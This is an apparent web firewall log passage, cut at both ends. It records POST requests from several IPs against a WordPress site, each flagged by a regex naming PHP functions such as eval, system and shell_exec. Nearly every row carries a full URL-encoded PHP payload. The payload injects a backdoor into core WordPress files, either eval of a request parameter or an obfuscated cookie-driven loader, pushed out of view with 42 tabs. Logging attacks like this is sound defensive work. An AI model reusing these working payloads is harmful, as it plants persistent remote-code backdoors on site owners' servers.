20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:2086\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:39:35","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2063\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nCY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-image-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527IyaOJr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:38","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3239\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nAC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:41","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3239\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\npg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:39:45","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/theme.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B14%255D%2529%253B%2524p%255B0%255D%2528%2524n%252C%2524p%255B26%255D.%2524p%255B23%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3239\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 